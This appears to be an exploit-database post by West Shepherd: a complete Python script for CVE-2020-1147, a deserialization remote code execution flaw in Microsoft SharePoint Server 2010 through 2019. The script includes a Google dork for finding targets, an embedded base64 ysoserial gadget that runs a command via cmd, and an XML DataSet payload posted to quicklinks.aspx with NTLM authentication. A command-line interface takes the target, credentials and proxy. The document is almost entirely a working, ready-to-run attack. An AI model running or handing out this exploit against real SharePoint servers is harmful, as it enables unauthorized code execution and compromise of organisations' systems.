Microsoft SharePoint Server 2019 Remote Code Execution

# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution
# Google Dork: inurl:quicklinks.aspx
# Date: 2020-08-14
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
# Pack 2, SharePoint Server 2019
# Tested on: Windows 2016
# CVE : CVE-2020-1147
# Credit goes to Steven Seele and Soroush Dalili
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html

#!/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_ntlm import HttpNtlmAuth
from urllib import quote, unquote
import logging


class Exploit:
    # To generate the gadget use:
    # ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command"
    # ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command"
    gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=='
    control_path_quicklinks = '/_layouts/15/quicklinks.aspx'
    control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx'
    control_path = control_path_quicklinks

    def __init__(
            self,
            redirect=False,
            proxy_address='',
            username='',
            domain='',
            password='',
            target=''
    ):
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        self.username = '%s\\%s' % (domain, username)
        self.target = target
        self.password = password
        self.session = requests.session()
        self.redirect = redirect
        self.timeout = 0.5
        self.proxies = {
            'http': 'http://%s' % proxy_address,
            'https': 'http://%s' % proxy_address
        } \
            if proxy_address is not None \
               and proxy_address != '' else {}
        self.headers = {}
        self.query_params = {
            'Mode': "Suggestion"
        }
        self.form_values = {
            '__viewstate': '',
            '__SUGGESTIONSCACHE__': ''
        }
        self.cookies = {}
        self.payload = """\
<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true"
msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn"
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter,
System.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"
diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
                <anyType
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xsi:type="xsd:string">{GADGET}</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
        </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>""".replace('{GADGET}', self.gadget)

    def do_get(self, url, params=None, data=None):
        return self.session.get(
            url=url,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            data=data,
            params=params,
            auth=HttpNtlmAuth(self.username, self.password)
        )

    def do_post(self, url, data=None, params=None):
        return self.session.post(
            url=url,
            data=data,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            params=params,
            auth=HttpNtlmAuth(self.username, self.password)
        )

    def parse_page(self, content):
        soup = BeautifulSoup(content, 'lxml')
        for key, val in self.form_values.iteritems():
            try:
                for tag in soup.select('input[name=%s]' % key):
                    try:
                        self.form_values[key] = tag['value']
                    except Exception as error:
                        stderr.write('error for key %s error %s\n' %
(key, str(error)))
            except Exception as error:
                stderr.write('error for selector %s error %s\n' %
(key, str(error)))
        return self

    def debug(self):
        try:
            import http.client as http_client
        except ImportError:
            import httplib as http_client
        http_client.HTTPConnection.debuglevel = 1
        logging.basicConfig()
        logging.getLogger().setLevel(logging.DEBUG)
        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        return self

    def clean(self, payload):
        payload = payload\
            .replace('\n', '')\
            .replace('\r', '')
        while '  ' in payload:
            payload = payload\
                .replace('  ', ' ')
        return payload

    def get_form(self):
        url = '%s%s' % (self.target, self.control_path)
        resp = self.do_get(url=url, params=self.query_params)
        self.parse_page(content=resp.content)
        return resp

    def send_payload(self):
        url = '%s%s' % (self.target, self.control_path)
        # self.get_form()
        self.headers['Content-Type'] = 'application/x-www-form-urlencoded'
        self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload)
        self.form_values['__viewstate'] = ''
        resp = self.do_post(url=url, params=self.query_params,
data=self.form_values)
        return resp


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True,
description='CVE-2020-1147 SharePoint exploit')
    try:
        parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com ')
        parser.add_argument('-username', action='store', default='',
help='Username to use: first.last')
        parser.add_argument('-domain', action='store', default='',
help='User domain to use: domain.local')
        parser.add_argument('-password', action='store', default='',
help='Password to use: Summer2020')
        parser.add_argument('-both', action='store', default=False,
help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx):
False')
        parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
        parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')

        if len(argv) == 1:
            parser.print_help()
            exit(1)
        options = parser.parse_args()

        exp = Exploit(
            proxy_address=options.proxy,
            username=options.username,
            domain=options.domain,
            password=options.password,
            target=options.target
        )

        if options.debug:
            exp.debug()
            stdout.write('target %s username %s domain %s password %s
debug %s proxy %s\n' % (
                options.target, options.username, options.domain,
options.password, options.debug, options.proxy
            ))

        result = exp.send_payload()
        stdout.write('Response: %d\n' % result.status_code)
        if 'MicrosoftSharePointTeamServices' in result.headers:
            stdout.write('Version: %s\n' %
result.headers['MicrosoftSharePointTeamServices'])
        if options.both and result.status_code != 200:
            exp.control_path = exp.control_path_quicklinksdialogform
            stdout.write('Trying alternate page\n')
            result = exp.send_payload()
            stdout.write('Response: %d\n' % result.status_code)

    except Exception as error:
        stderr.write('error in main %s' % str(error))


Regards,

West Shepherd
OSWE | OSCE | OSCP | OSWP | CEH | Security+
West Lee Shepherd, LLC

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